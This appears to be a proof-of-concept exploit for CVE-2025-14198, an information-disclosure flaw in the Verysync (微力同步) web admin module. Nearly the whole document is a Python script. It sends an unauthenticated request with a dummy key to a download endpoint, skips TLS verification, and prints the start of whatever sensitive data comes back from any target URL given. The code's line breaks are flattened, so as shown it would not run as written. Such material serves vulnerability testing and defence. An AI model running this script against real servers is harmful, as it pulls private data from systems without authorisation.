CVE-2025-14198 Verysync微力同步Web管理模块信息泄露漏洞

import requests import sys # CVE-2025-14198 PoC - Verysync Information Disclosure # Target: Verysync Web Administration Module # Endpoint: /safebrowsing/clientreport/download?key=dummytoken def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-14198 """ # Add trailing slash if not present if not target_url.endswith('/'): target_url += '/' # Construct the vulnerable endpoint vulnerable_path = 'safebrowsing/clientreport/download' params = {'key': 'dummytoken'} target = target_url + vulnerable_path print(f"[*] Testing target: {target}") print(f"[*] Sending request with params: {params}") try: # Send HTTP GET request without authentication response = requests.get(target, params=params, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") # Check if sensitive information is disclosed if response.status_code == 200 and len(response.text) > 0: print("[!] VULNERABLE - Information disclosure detected") print(f"[+] Response preview:\n{response.text[:500]}") return True else: print("[-] Not vulnerable or endpoint not found") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14198.py <target_url>") print("Example: python cve-2025-14198.py http://192.168.1.100:8086") sys.exit(1) target = sys.argv[1] check_vulnerability(target)